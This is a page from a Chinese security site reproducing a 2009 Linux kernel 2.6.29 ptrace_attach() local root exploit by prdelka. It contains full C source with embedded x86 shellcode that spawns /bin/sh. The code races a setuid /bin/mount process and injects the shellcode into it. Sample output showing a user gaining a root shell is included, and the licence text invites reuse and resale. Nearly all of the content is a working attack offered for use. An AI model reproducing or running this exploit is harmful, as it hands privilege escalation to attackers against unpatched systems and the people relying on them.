首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.6.29 ptrace_attach() Local Root Race Condition Exploit
来源:www.vfcocus.net 作者:prdelka 发布时间:2009-05-15  

/*
* GNU/Linux kernel 2.6.29 ptrace_attach() local root race condition exploit.
* ==========================================================================
* This is a local root exploit for the 2.6.29 ptrace_attach() race condition that allows
* a process to gain elevated privileges under certain conditions. The vulnerability is
* caused due to "ptrace_attach()" using an inadequate mutex while synchronizing with
* "execve()". This can be exploited to potentially execute arbitrary code with root
* privileges by attaching to a setuid process. The race is particularly narrow, this
* exploit checks that it has attached to the correct process before attempting to
* inject shellcode which helps reduce false positives and shells being spawned with
* lower privileges.
*
* Ex.
*   matthew@matthew-desktop:~$ id
*   uid=1000(matthew) gid=1000(matthew)   groups=4(adm),20(dialout),24(cdrom),25(floppy),
*   29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
*   matthew@matthew-desktop:~$ uname -a
*   Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux
*   matthew@matthew-desktop:~$ while `/bin/true/`;do ./shoryuken;done
*   [... much scroll removed, go make coffee, get a job, do something while running ...]
*   /dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro)
*   proc on /proc type proc (rw,noexec,nosuid,nodev)
*   /sys on /sys type sysfs (rw,noexec,nosuid,nodev)
*   varrun on /var/run type tmpfs (rw,noexec,nosuid,nodev,mode=0755)
*   varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
*   udev on /dev type tmpfs (rw,mode=0755)
*   devshm on /dev/shm type tmpfs (rw)
*   devpts on /dev/pts type devpts (rw,gid=5,mode=620)
*   securityfs on /sys/kernel/security type securityfs (rw)
*   gvfs-fuse-daemon on /home/matthew/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)
*   [ WIN! 18281
*   [ Overwritten 0xb8097430
*   # id
*   uid=0(root) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
*   44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
*   #
*
*  Please note this exploit is released to you under fuqHAK5 licence agreement, you may use
*  this exploit, sell it, recode it, rip the header and claim it as your own on the condition
*  that you are not a fan of the hak5 tv "hacking" show. This exploit must not be renamed from
*  shoryuken.c at any time.
*
*   -- prdelka
*/
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/user.h>
#include <stdio.h>
#include <fcntl.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90"
                 "\x6a\x23\x58\x31"
                 "\xdb\xcd\x80"
                 "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
                 "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
                 "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(){
    pid_t child;
    int eip, i = 0;
    struct user_regs_struct regs;
    char *argv[] = {"mount",0};
    char *envp[] = {"",0};
    child = fork();
    if(child == 0) {
        execve("/bin/mount",argv,envp);
    }
    else {
        if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
                char buf[256];
                sprintf(buf, "/proc/%d/cmdline", child);
                int fd = open(buf, O_RDONLY);
                read(fd, buf, 2);
                close(fd);
                if(buf[0] == 'm') {
                        printf("[ WIN! %d\n", child);
                        fflush(stdout);
                        ptrace(PTRACE_GETREGS, child, NULL, &regs);
                        eip = regs.eip;
                        while (i < strlen(shellcode)){
                                ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
                                i += 4;
                                eip += 4;
                        }
                        printf("[ Overwritten 0x%x\n",regs.eip);
                        ptrace(PTRACE_SETREGS, child, NULL, &regs);
                        ptrace(PTRACE_DETACH, child, NULL,NULL);
                        usleep(1);
                        wait(0);
                }
            }
    }
    return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DigiMode Maya 1.0.2 (.m3u / .m
·StrawBerry 1.1.1 LFI / Remote
·Linux Kernel 2.6.x ptrace_atta
·2daybiz Business Community Scr
·MaxCMS 2.0 (m_username) Arbitr
·2daybiz Template Monster Clone
·Family Connections CMS <= 1.9
·linux/x86-64 setuid(0) + execv
·Pinnacle Studio 12 (.hfz) Dire
·Jieqi CMS versions 1.5 and bel
·ipsec-tools racoon frag-isakmp
·Audioactive Player 1.93b (.m3u
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved